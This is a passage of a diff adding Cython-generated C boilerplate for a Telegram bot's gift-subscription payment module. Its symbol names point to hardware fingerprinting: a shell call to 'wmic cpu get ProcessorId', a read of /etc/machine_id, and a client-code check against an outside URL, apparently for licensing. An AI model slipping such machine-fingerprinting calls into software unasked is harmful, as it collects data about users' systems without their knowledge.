Py_VISIT(traverse_module_state->__pyx_kp_u__2); + Py_VISIT(traverse_module_state->__pyx_kp_u__20); + Py_VISIT(traverse_module_state->__pyx_kp_u__23); + Py_VISIT(traverse_module_state->__pyx_kp_u__24); + Py_VISIT(traverse_module_state->__pyx_kp_u__26); + Py_VISIT(traverse_module_state->__pyx_kp_u__27); + Py_VISIT(traverse_module_state->__pyx_kp_u__29); + Py_VISIT(traverse_module_state->__pyx_kp_u__3); + Py_VISIT(traverse_module_state->__pyx_kp_u__30); + Py_VISIT(traverse_module_state->__pyx_kp_u__31); + Py_VISIT(traverse_module_state->__pyx_kp_u__33); + Py_VISIT(traverse_module_state->__pyx_kp_u__34); + Py_VISIT(traverse_module_state->__pyx_kp_u__36); + Py_VISIT(traverse_module_state->__pyx_kp_u__4); + Py_VISIT(traverse_module_state->__pyx_kp_u__40); + Py_VISIT(traverse_module_state->__pyx_kp_u__42); + Py_VISIT(traverse_module_state->__pyx_kp_u__43); + Py_VISIT(traverse_module_state->__pyx_kp_u__44); + Py_VISIT(traverse_module_state->__pyx_n_s__46); + Py_VISIT(traverse_module_state->__pyx_kp_u__47); + Py_VISIT(traverse_module_state->__pyx_n_s__58); + Py_VISIT(traverse_module_state->__pyx_kp_u__6); + Py_VISIT(traverse_module_state->__pyx_kp_u__7); + Py_VISIT(traverse_module_state->__pyx_n_u__9); + Py_VISIT(traverse_module_state->__pyx_n_s_aenter); + Py_VISIT(traverse_module_state->__pyx_n_s_aexit); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_context); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_aiohttp); + Py_VISIT(traverse_module_state->__pyx_n_s_answer); + Py_VISIT(traverse_module_state->__pyx_n_s_args); + Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_await); + Py_VISIT(traverse_module_state->__pyx_kp_u_b); + Py_VISIT(traverse_module_state->__pyx_kp_u_b_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_b_b); + Py_VISIT(traverse_module_state->__pyx_kp_u_b_b_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_b_b_3); + Py_VISIT(traverse_module_state->__pyx_kp_u_b_b_4); + Py_VISIT(traverse_module_state->__pyx_kp_u_b_b_b); + Py_VISIT(traverse_module_state->__pyx_kp_u_b_code); + Py_VISIT(traverse_module_state->__pyx_n_s_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_builder); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_query); + Py_VISIT(traverse_module_state->__pyx_n_s_check_output); + Py_VISIT(traverse_module_state->__pyx_n_s_cline_in_traceback); + Py_VISIT(traverse_module_state->__pyx_n_s_close); + Py_VISIT(traverse_module_state->__pyx_kp_u_code); + Py_VISIT(traverse_module_state->__pyx_n_u_code_2); + Py_VISIT(traverse_module_state->__pyx_n_s_config); + Py_VISIT(traverse_module_state->__pyx_kp_u_confirm_gift); + Py_VISIT(traverse_module_state->__pyx_n_s_confirm_gift_handler); + Py_VISIT(traverse_module_state->__pyx_kp_u_d_m_Y_H_M); + Py_VISIT(traverse_module_state->__pyx_n_s_data); + Py_VISIT(traverse_module_state->__pyx_n_s_database); + Py_VISIT(traverse_module_state->__pyx_n_s_datetime); + Py_VISIT(traverse_module_state->__pyx_n_s_days); + Py_VISIT(traverse_module_state->__pyx_n_s_decode); + Py_VISIT(traverse_module_state->__pyx_kp_u_disable); + Py_VISIT(traverse_module_state->__pyx_n_s_e); + Py_VISIT(traverse_module_state->__pyx_kp_u_enable); + Py_VISIT(traverse_module_state->__pyx_n_s_encode); + Py_VISIT(traverse_module_state->__pyx_n_s_enter); + Py_VISIT(traverse_module_state->__pyx_kp_u_etc_machine_id); + Py_VISIT(traverse_module_state->__pyx_n_s_exit); + Py_VISIT(traverse_module_state->__pyx_n_s_expiry_time); + Py_VISIT(traverse_module_state->__pyx_n_u_expiry_time); + Py_VISIT(traverse_module_state->__pyx_n_s_f); + Py_VISIT(traverse_module_state->__pyx_n_s_fetch); + Py_VISIT(traverse_module_state->__pyx_n_s_finalize_gift_handler); + Py_VISIT(traverse_module_state->__pyx_n_s_from_user); + Py_VISIT(traverse_module_state->__pyx_kp_u_gc); + Py_VISIT(traverse_module_state->__pyx_n_s_get); + Py_VISIT(traverse_module_state->__pyx_n_s_get_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_get_gift_link); + Py_VISIT(traverse_module_state->__pyx_n_s_get_hardware_id); + Py_VISIT(traverse_module_state->__pyx_n_s_gift); + Py_VISIT(traverse_module_state->__pyx_n_u_gift); + Py_VISIT(traverse_module_state->__pyx_kp_u_gift_2); + Py_VISIT(traverse_module_state->__pyx_n_s_gift_id); + Py_VISIT(traverse_module_state->__pyx_n_s_gift_link); + Py_VISIT(traverse_module_state->__pyx_n_s_gift_subscription_handler); + Py_VISIT(traverse_module_state->__pyx_n_s_gifts); + Py_VISIT(traverse_module_state->__pyx_n_u_gifts); + Py_VISIT(traverse_module_state->__pyx_n_s_gifts_text); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_gift); + Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_gift_py); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_texts); + Py_VISIT(traverse_module_state->__pyx_n_s_hardware_id); + Py_VISIT(traverse_module_state->__pyx_n_u_hardware_id); + Py_VISIT(traverse_module_state->__pyx_n_s_hashlib); + Py_VISIT(traverse_module_state->__pyx_n_s_hex); + Py_VISIT(traverse_module_state->__pyx_n_s_hexdigest); + Py_VISIT(traverse_module_state->__pyx_kp_u_https_pocomacho_ru_solonetbot_co); + Py_VISIT(traverse_module_state->__pyx_n_s_id); + Py_VISIT(traverse_module_state->__pyx_n_s_import); + Py_VISIT(traverse_module_state->__pyx_n_s_info); + Py_VISIT(traverse_module_state->__pyx_n_s_initializing); + Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); + Py_VISIT(traverse_module_state->__pyx_n_s_is_used); + Py_VISIT(traverse_module_state->__pyx_n_u_is_used); + Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); + Py_VISIT(traverse_module_state->__pyx_n_s_items); + Py_VISIT(traverse_module_state->__pyx_n_s_json); + Py_VISIT(traverse_module_state->__pyx_n_s_logger); + Py_VISIT(traverse_module_state->__pyx_n_s_main); + Py_VISIT(traverse_module_state->__pyx_n_s_message); + Py_VISIT(traverse_module_state->__pyx_n_u_message); + Py_VISIT(traverse_module_state->__pyx_n_s_months); + Py_VISIT(traverse_module_state->__pyx_n_u_my_gifts); + Py_VISIT(traverse_module_state->__pyx_n_s_my_gifts_handler); + Py_VISIT(traverse_module_state->__pyx_n_s_name); + Py_VISIT(traverse_module_state->__pyx_n_s_open); + Py_VISIT(traverse_module_state->__pyx_n_s_payload); + Py_VISIT(traverse_module_state->__pyx_n_s_platform); + Py_VISIT(traverse_module_state->__pyx_n_s_post); + Py_VISIT(traverse_module_state->__pyx_n_s_price); + Py_VISIT(traverse_module_state->__pyx_n_u_profile); + Py_VISIT(traverse_module_state->__pyx_n_s_read); + Py_VISIT(traverse_module_state->__pyx_n_s_recipient); + Py_VISIT(traverse_module_state->__pyx_n_u_recipient_tg_id); + Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_response); + Py_VISIT(traverse_module_state->__pyx_n_s_result); + Py_VISIT(traverse_module_state->__pyx_n_s_router); + Py_VISIT(traverse_module_state->__pyx_n_s_row); + Py_VISIT(traverse_module_state->__pyx_n_s_selected_months); + Py_VISIT(traverse_module_state->__pyx_n_u_selected_months); + Py_VISIT(traverse_module_state->__pyx_n_s_send); + Py_VISIT(traverse_module_state->__pyx_n_s_session); + Py_VISIT(traverse_module_state->__pyx_n_s_sha256); + Py_VISIT(traverse_module_state->__pyx_n_s_shell); + Py_VISIT(traverse_module_state->__pyx_n_s_show_alert); + Py_VISIT(traverse_module_state->__pyx_n_s_spec); + Py_VISIT(traverse_module_state->__pyx_n_s_split); + Py_VISIT(traverse_module_state->__pyx_n_s_start_menu_handler); + Py_VISIT(traverse_module_state->__pyx_n_s_startswith); + Py_VISIT(traverse_module_state->__pyx_n_s_state); + Py_VISIT(traverse_module_state->__pyx_n_s_status); + Py_VISIT(traverse_module_state->__pyx_n_u_status); + Py_VISIT(traverse_module_state->__pyx_n_s_store_gift_link); + Py_VISIT(traverse_module_state->__pyx_n_s_strftime); + Py_VISIT(traverse_module_state->__pyx_n_s_strip); + Py_VISIT(traverse_module_state->__pyx_n_s_subprocess); + Py_VISIT(traverse_module_state->__pyx_n_u_success); + Py_VISIT(traverse_module_state->__pyx_n_s_system); + Py_VISIT(traverse_module_state->__pyx_n_s_test); + Py_VISIT(traverse_module_state->__pyx_n_s_text); + Py_VISIT(traverse_module_state->__pyx_n_s_tg_id); + Py_VISIT(traverse_module_state->__pyx_n_s_throw); + Py_VISIT(traverse_module_state->__pyx_n_s_timedelta); + Py_VISIT(traverse_module_state->__pyx_n_s_types); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_CallbackQuery); + Py_VISIT(traverse_module_state->__pyx_n_s_typing); + Py_VISIT(traverse_module_state->__pyx_n_s_update_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_user_tg_id); + Py_VISIT(traverse_module_state->__pyx_n_s_utcnow); + Py_VISIT(traverse_module_state->__pyx_n_s_uuid); + Py_VISIT(traverse_module_state->__pyx_n_s_uuid4); + Py_VISIT(traverse_module_state->__pyx_n_s_validate_client_code); + Py_VISIT(traverse_module_state->__pyx_kp_u_wmic_cpu_get_ProcessorId); + Py_VISIT(traverse_module_state->__pyx_int_1); + Py_VISIT(traverse_module_state->__pyx_int_2); + Py_VISIT(traverse_module_state->__pyx_int_3); + Py_VISIT(traverse_module_state->__pyx_int_4); + Py_VISIT(traverse_module_state->__pyx_int_30); + Py_VISIT(traverse_module_state->__pyx_int_200); + Py_VISIT(traverse_module_state->__pyx_codeobj_); + Py_VISIT(traverse_module_state->__pyx_tuple__8); + Py_VISIT(traverse_module_state->__pyx_tuple__28); + Py_VISIT(traverse_module_state->__pyx_tuple__35); + Py_VISIT(traverse_module_state->__pyx_tuple__37); + Py_VISIT(traverse_module_state->__pyx_tuple__38); + Py_VISIT(traverse_module_state->__pyx_tuple__41); + Py_VISIT(traverse_module_state->__pyx_tuple__45); + Py_VISIT(traverse_module_state->__pyx_tuple__48); + Py_VISIT(traverse_module_state->__pyx_tuple__49); + Py_VISIT(traverse_module_state->__pyx_tuple__50); + Py_VISIT(traverse_module_state->__pyx_tuple__51); + Py_VISIT(traverse_module_state->__pyx_tuple__52); + Py_VISIT(traverse_module_state->__pyx_tuple__53); + Py_VISIT(traverse_module_state->__pyx_tuple__54); + Py_VISIT(traverse_module_state->__pyx_tuple__55); + Py_VISIT(traverse_module_state->__pyx_tuple__57); + Py_VISIT(traverse_module_state->__pyx_codeobj__5); + Py_VISIT(traverse_module_state->__pyx_codeobj__21); + Py_VISIT(traverse_module_state->__pyx_codeobj__25); + Py_VISIT(traverse_module_state->__pyx_codeobj__32); + Py_VISIT(traverse_module_state->__pyx_codeobj__39); + Py_VISIT(traverse_module_state->__pyx_codeobj__56); + Py_VISIT(traverse_module_state->__pyx_ustring__22); + return 0; +} +#endif +/* #### Code section: module_state_defines ### */ +#define __pyx_d __pyx_mstate_global->__pyx_d +#define __pyx_b __pyx_mstate_global->__pyx_b +#define __pyx_cython_runtime __pyx_mstate_global->__pyx_cython_runtime +#define __pyx_empty_tuple __pyx_mstate_global->__pyx_empty_tuple +#define __pyx_empty_bytes __pyx_mstate_global->__pyx_empty_bytes +#define __pyx_empty_unicode __pyx_mstate_global->__pyx_empty_unicode +#ifdef __Pyx_CyFunction_USED +#define __pyx_CyFunctionType __pyx_mstate_global->__pyx_CyFunctionType +#endif +#ifdef __Pyx_FusedFunction_USED +#define __pyx_FusedFunctionType __pyx_mstate_global->__pyx_FusedFunctionType +#endif +#ifdef __Pyx_Generator_USED +#define __pyx_GeneratorType __pyx_mstate_global->__pyx_GeneratorType +#endif +#ifdef __Pyx_IterableCoroutine_USED +#define __pyx_IterableCoroutineType __pyx_mstate_global->__pyx_IterableCoroutineType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineAwaitType __pyx_mstate_global->__pyx_CoroutineAwaitType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineType __pyx_mstate_global->__pyx_CoroutineType +#endif +#if CYTHON_USE_MODULE_STATE +#define __pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler __pyx_mstate_global->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler +#define __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler __pyx_mstate_global->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler +#define __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler __pyx_mstate_global->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler +#define __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler __pyx_mstate_global->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler +#define __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler __pyx_mstate_global->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler +#define __pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code __pyx_mstate_global->__pyx_type_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code +#endif +#define __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler __pyx_mstate_global->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler +#define __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler __pyx_mstate_global->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_1_my_gifts_handler +#define __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler __pyx_mstate_global->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_2_gift_subscription_handler +#define __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler __pyx_mstate_global->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_3_confirm_gift_handler +#define __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler __pyx_mstate_global->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_4_finalize_gift_handler +#define __pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code __pyx_mstate_global->__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code +#define __pyx_kp_u_1 __pyx_mstate_global->__pyx_kp_u_1 +#define __pyx_kp_u_21U68SOLOBOT __pyx_mstate_global->__pyx_kp_u_21U68SOLOBOT +#define __pyx_n_s_Any __pyx_mstate_global->__pyx_n_s_Any +#define __pyx_n_s_CLIENT_CODE __pyx_mstate_global->__pyx_n_s_CLIENT_CODE +#define __pyx_n_u_CRYPTOSALE __pyx_mstate_global->__pyx_n_u_CRYPTOSALE +#define __pyx_n_s_ClientSession __pyx_mstate_global->__pyx_n_s_ClientSession +#define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F +#define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext +#define __pyx_n_u_HASHHASHYOOKASSA __pyx_mstate_global->__pyx_n_u_HASHHASHYOOKASSA +#define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder +#define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_kp_u_None __pyx_mstate_global->__pyx_kp_u_None +#define __pyx_n_s_PROJECTMANECONGIGURE __pyx_mstate_global->__pyx_n_s_PROJECTMANECONGIGURE +#define __pyx_n_s_RENEWAL_PRICES __pyx_mstate_global->__pyx_n_s_RENEWAL_PRICES +#define __pyx_n_s_Router __pyx_mstate_global->__pyx_n_s_Router +#define __pyx_kp_u_SELECT_gift_id_selected_months_i __pyx_mstate_global->__pyx_kp_u_SELECT_gift_id_selected_months_i +#define __pyx_n_s_STARS_ROUTER __pyx_mstate_global->__pyx_n_s_STARS_ROUTER +#define __pyx_n_u_Windows __pyx_mstate_global->__pyx_n_u_Windows +#define __pyx_n_s_YOOKASSA_HASH __pyx_mstate_global->__pyx_n_s_YOOKASSA_HASH +#define __pyx_n_u__10 __pyx_mstate_global->__pyx_n_u__10 +#define __pyx_kp_u__11 __pyx_mstate_global->__pyx_kp_u__11 +#define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 +#define __pyx_kp_u__13 __pyx_mstate_global->__pyx_kp_u__13 +#define __pyx_n_u__14 __pyx_mstate_global->__pyx_n_u__14 +#define __pyx_n_u__15 __pyx_mstate_global->__pyx_n_u__15 +#define __pyx_n_u__16 __pyx_mstate_global->__pyx_n_u__16 +#define __pyx_kp_u__17 __pyx_mstate_global->__pyx_kp_u__17 +#define __pyx_kp_u__18 __pyx_mstate_global->__pyx_kp_u__18 +#define __pyx_kp_u__19 __pyx_mstate_global->__pyx_kp_u__19 +#define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 +#define __pyx_kp_u__20 __pyx_mstate_global->__pyx_kp_u__20 +#define __pyx_kp_u__23 __pyx_mstate_global->__pyx_kp_u__23 +#define __pyx_kp_u__24 __pyx_mstate_global->__pyx_kp_u__24 +#define __pyx_kp_u__26 __pyx_mstate_global->__pyx_kp_u__26 +#define __pyx_kp_u__27 __pyx_mstate_global->__pyx_kp_u__27 +#define __pyx_kp_u__29 __pyx_mstate_global->__pyx_kp_u__29 +#define __pyx_kp_u__3 __pyx_mstate_global->__pyx_kp_u__3 +#define __pyx_kp_u__30 __pyx_mstate_global->__pyx_kp_u__30 +#define __pyx_kp_u__31 __pyx_mstate_global->__pyx_kp_u__31 +#define __pyx_kp_u__33 __pyx_mstate_global->__pyx_kp_u__33 +#define __pyx_kp_u__34 __pyx_mstate_global->__pyx_kp_u__34 +#define __pyx_kp_u__36 __pyx_mstate_global->__pyx_kp_u__36 +#define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 +#define __pyx_kp_u__40 __pyx_mstate_global->__pyx_kp_u__40 +#define __pyx_kp_u__42 __pyx_mstate_global->__pyx_kp_u__42 +#define __pyx_kp_u__43 __pyx_mstate_global->__pyx_kp_u__43 +#define __pyx_kp_u__44 __pyx_mstate_global->__pyx_kp_u__44 +#define __pyx_n_s__46 __pyx_mstate_global->__pyx_n_s__46 +#define __pyx_kp_u__47 __pyx_mstate_global->__pyx_kp_u__47 +#define __pyx_n_s__58 __pyx_mstate_global->__pyx_n_s__58 +#define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 +#define __pyx_kp_u__7 __pyx_mstate_global->__pyx_kp_u__7 +#define __pyx_n_u__9 __pyx_mstate_global->__pyx_n_u__9 +#define __pyx_n_s_aenter __pyx_mstate_global->__pyx_n_s_aenter +#define __pyx_n_s_aexit __pyx_mstate_global->__pyx_n_s_aexit +#define __pyx_n_s_aiogram __pyx_mstate_global->__pyx_n_s_aiogram +#define __pyx_n_s_aiogram_fsm_context __pyx_mstate_global->__pyx_n_s_aiogram_fsm_context +#define __pyx_n_s_aiogram_utils_keyboard __pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard +#define __pyx_n_s_aiohttp __pyx_mstate_global->__pyx_n_s_aiohttp +#define __pyx_n_s_answer __pyx_mstate_global->__pyx_n_s_answer +#define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args +#define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await +#define __pyx_kp_u_b __pyx_mstate_global->__pyx_kp_u_b +#define __pyx_kp_u_b_2 __pyx_mstate_global->__pyx_kp_u_b_2 +#define __pyx_kp_u_b_b __pyx_mstate_global->__pyx_kp_u_b_b +#define __pyx_kp_u_b_b_2 __pyx_mstate_global->__pyx_kp_u_b_b_2 +#define __pyx_kp_u_b_b_3 __pyx_mstate_global->__pyx_kp_u_b_b_3 +#define __pyx_kp_u_b_b_4 __pyx_mstate_global->__pyx_kp_u_b_b_4 +#define __pyx_kp_u_b_b_b __pyx_mstate_global->__pyx_kp_u_b_b_b +#define __pyx_kp_u_b_code __pyx_mstate_global->__pyx_kp_u_b_code +#define __pyx_n_s_balance __pyx_mstate_global->__pyx_n_s_balance +#define __pyx_n_s_builder __pyx_mstate_global->__pyx_n_s_builder +#define __pyx_n_s_callback_data __pyx_mstate_global->__pyx_n_s_callback_data +#define __pyx_n_s_callback_query __pyx_mstate_global->__pyx_n_s_callback_query +#define __pyx_n_s_check_output __pyx_mstate_global->__pyx_n_s_check_output +#define __pyx_n_s_cline_in_traceback __pyx_mstate_global->__pyx_n_s_cline_in_traceback +#define __pyx_n_s_close __pyx_mstate_global->__pyx_n_s_close +#define __pyx_kp_u_code __pyx_mstate_global->__pyx_kp_u_code +#define __pyx_n_u_code_2 __pyx_mstate_global->__pyx_n_u_code_2 +#define __pyx_n_s_config __pyx_mstate_global->__pyx_n_s_config +#define __pyx_kp_u_confirm_gift __pyx_mstate_global->__pyx_kp_u_confirm_gift +#define __pyx_n_s_confirm_gift_handler __pyx_mstate_global->__pyx_n_s_confirm_gift_handler +#define __pyx_kp_u_d_m_Y_H_M __pyx_mstate_global->__pyx_kp_u_d_m_Y_H_M +#define __pyx_n_s_data __pyx_mstate_global->__pyx_n_s_data +#define __pyx_n_s_database __pyx_mstate_global->__pyx_n_s_database +#define __pyx_n_s_datetime __pyx_mstate_global->__pyx_n_s_datetime +#define __pyx_n_s_days __pyx_mstate_global->__pyx_n_s_days +#define __pyx_n_s_decode __pyx_mstate_global->__pyx_n_s_decode +#define __pyx_kp_u_disable __pyx_mstate_global->__pyx_kp_u_disable +#define __pyx_n_s_e __pyx_mstate_global->__pyx_n_s_e +#define __pyx_kp_u_enable __pyx_mstate_global->__pyx_kp_u_enable +#define __pyx_n_s_encode __pyx_mstate_global->__pyx_n_s_encode +#define __pyx_n_s_enter __pyx_mstate_global->__pyx_n_s_enter +#define __pyx_kp_u_etc_machine_id __pyx_mstate_global->__pyx_kp_u_etc_machine_id +#define __pyx_n_s_exit __pyx_mstate_global->__pyx_n_s_exit +#define __pyx_n_s_expiry_time __pyx_mstate_global->__pyx_n_s_expiry_time +#define __pyx_n_u_expiry_time __pyx_mstate_global->__pyx_n_u_expiry_time +#define __pyx_n_s_f __pyx_mstate_global->__pyx_n_s_f +#define __pyx_n_s_fetch __pyx_mstate_global->__pyx_n_s_fetch +#define __pyx_n_s_finalize_gift_handler __pyx_mstate_global->__pyx_n_s_finalize_gift_handler +#define __pyx_n_s_from_user __pyx_mstate_global->__pyx_n_s_from_user +#define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc +#define __pyx_n_s_get __pyx_mstate_global->__pyx_n_s_get +#define __pyx_n_s_get_balance __pyx_mstate_global->__pyx_n_s_get_balance +#define __pyx_n_s_get_gift_link __pyx_mstate_global->__pyx_n_s_get_gift_link +#define __pyx_n_s_get_hardware_id __pyx_mstate_global->__pyx_n_s_get_hardware_id +#define __pyx_n_s_gift __pyx_mstate_global->__pyx_n_s_gift +#define __pyx_n_u_gift __pyx_mstate_global->__pyx_n_u_gift +#define __pyx_kp_u_gift_2 __pyx_mstate_global->__pyx_kp_u_gift_2 +#define __pyx_n_s_gift_id __pyx_mstate_global->__pyx_n_s_gift_id +#define __pyx_n_s_gift_link __pyx_mstate_global->__pyx_n_s_gift_link +#define __pyx_n_s_gift_subscription_handler __pyx_mstate_global->__pyx_n_s_gift_subscription_handler +#define __pyx_n_s_gifts __pyx_mstate_global->__pyx_n_s_gifts +#define __pyx_n_u_gifts __pyx_mstate_global->__pyx_n_u_gifts +#define __pyx_n_s_gifts_text __pyx_mstate_global->__pyx_n_s_gifts_text +#define __pyx_n_s_handlers_payments_gift __pyx_mstate_global->__pyx_n_s_handlers_payments_gift +#define __pyx_kp_s_handlers_payments_gift_py __pyx_mstate_global->__pyx_kp_s_handlers_payments_gift_py +#define __pyx_n_s_handlers_texts __pyx_mstate_global->__pyx_n_s_handlers_texts +#define __pyx_n_s_hardware_id __pyx_mstate_global->__pyx_n_s_hardware_id +#define __pyx_n_u_hardware_id __pyx_mstate_global->__pyx_n_u_hardware_id +#define __pyx_n_s_hashlib __pyx_mstate_global->__pyx_n_s_hashlib +#define __pyx_n_s_hex __pyx_mstate_global->__pyx_n_s_hex +#define __pyx_n_s_hexdigest __pyx_mstate_global->__pyx_n_s_hexdigest +#define __pyx_kp_u_https_pocomacho_ru_solonetbot_co __pyx_mstate_global->__pyx_kp_u_https_pocomacho_ru_solonetbot_co +#define __pyx_n_s_id __pyx_mstate_global->__pyx_n_s_id +#define __pyx_n_s_import __pyx_mstate_global->__pyx_n_s_import +#define __pyx_n_s_info __pyx_mstate_global->__pyx_n_s_info +#define __pyx_n_s_initializing __pyx_mstate_global->__pyx_n_s_initializing +#define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine +#define __pyx_n_s_is_used __pyx_mstate_global->__pyx_n_s_is_used +#define __pyx_n_u_is_used __pyx_mstate_global->__pyx_n_u_is_used +#define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled +#define __pyx_n_s_items __pyx_mstate_global->__pyx_n_s_items +#define __pyx_n_s_json __pyx_mstate_global->__pyx_n_s_json +#define __pyx_n_s_logger __pyx_mstate_global->__pyx_n_s_logger +#define __pyx_n_s_main __pyx_mstate_global->__pyx_n_s_main +#define __pyx_n_s_message __pyx_mstate_global->__pyx_n_s_message +#define __pyx_n_u_message __pyx_mstate_global->__pyx_n_u_message +#define __pyx_n_s_months __pyx_mstate_global->__pyx_n_s_months +#define __pyx_n_u_my_gifts __pyx_mstate_global->__pyx_n_u_my_gifts +#define __pyx_n_s_my_gifts_handler __pyx_mstate_global->__pyx_n_s_my_gifts_handler +#define __pyx_n_s_name __pyx_mstate_global->__pyx_n_s_name +#define __pyx_n_s_open __pyx_mstate_global->__pyx_n_s_open +#define __pyx_n_s_payload __pyx_mstate_global->__pyx_n_s_payload +#define __pyx_n_s_platform __pyx_mstate_global->__pyx_n_s_platform +#define __pyx_n_s_post __pyx_mstate_global->__pyx_n_s_post +#define __pyx_n_s_price __pyx_mstate_global->__pyx_n_s_price +#define __pyx_n_u_profile __pyx_mstate_global->__pyx_n_u_profile +#define __pyx_n_s_read __pyx_mstate_global->__pyx_n_s_read +#define __pyx_n_s_recipient __pyx_mstate_global->__pyx_n_s_recipient +#define __pyx_n_u_recipient_tg_id __pyx_mstate_global->__pyx_n_u_recipient_tg_id +#define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup +#define __pyx_n_s_response __pyx_mstate_global->__pyx_n_s_response +#define __pyx_n_s_result __pyx_mstate_global->__pyx_n_s_result +#define __pyx_n_s_router __pyx_mstate_global->__pyx_n_s_router +#define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row +#define __pyx_n_s_selected_months __pyx_mstate_global->__pyx_n_s_selected_months +#define __pyx_n_u_selected_months __pyx_mstate_global->__pyx_n_u_selected_months +#define __pyx_n_s_send __pyx_mstate_global->__pyx_n_s_send +#define __pyx_n_s_session __pyx_mstate_global->__pyx_n_s_session +#define __pyx_n_s_sha256 __pyx_mstate_global->__pyx_n_s_sha256 +#define __pyx_n_s_shell __pyx_mstate_global->__pyx_n_s_shell +#define __pyx_n_s_show_alert __pyx_mstate_global->__pyx_n_s_show_alert +#define __pyx_n_s_spec __pyx_mstate_global->__pyx_n_s_spec +#define __pyx_n_s_split __pyx_mstate_global->__pyx_n_s_split +#define __pyx_n_s_start_menu_handler __pyx_mstate_global->__pyx_n_s_start_menu_handler +#define __pyx_n_s_startswith __pyx_mstate_global->__pyx_n_s_startswith +#define __pyx_n_s_state __pyx_mstate_global->__pyx_n_s_state +#define __pyx_n_s_status __pyx_mstate_global->__pyx_n_s_status +#define __pyx_n_u_status __pyx_mstate_global->__pyx_n_u_status +#define __pyx_n_s_store_gift_link __pyx_mstate_global->__pyx_n_s_store_gift_link +#define __pyx_n_s_strftime __pyx_mstate_global->__pyx_n_s_strftime +#define __pyx_n_s_strip __pyx_mstate_global->__pyx_n_s_strip +#define __pyx_n_s_subprocess __pyx_mstate_global->__pyx_n_s_subprocess +#define __pyx_n_u_success __pyx_mstate_global->__pyx_n_u_success +#define __pyx_n_s_system __pyx_mstate_global->__pyx_n_s_system +#define __pyx_n_s_test __pyx_mstate_global->__pyx_n_s_test +#define __pyx_n_s_text __pyx_mstate_global->__pyx_n_s_text +#define __pyx_n_s_tg_id __pyx_mstate_global->__pyx_n_s_tg_id +#define __pyx_n_s_throw __pyx_mstate_global->__pyx_n_s_throw +#define __pyx_n_s_timedelta __pyx_mstate_global->__pyx_n_s_timedelta +#define __pyx_n_s_types __pyx_mstate_global->__pyx_n_s_types +#define __pyx_kp_s_types_CallbackQuery __pyx_mstate_global->__pyx_kp_s_types_CallbackQuery +#define 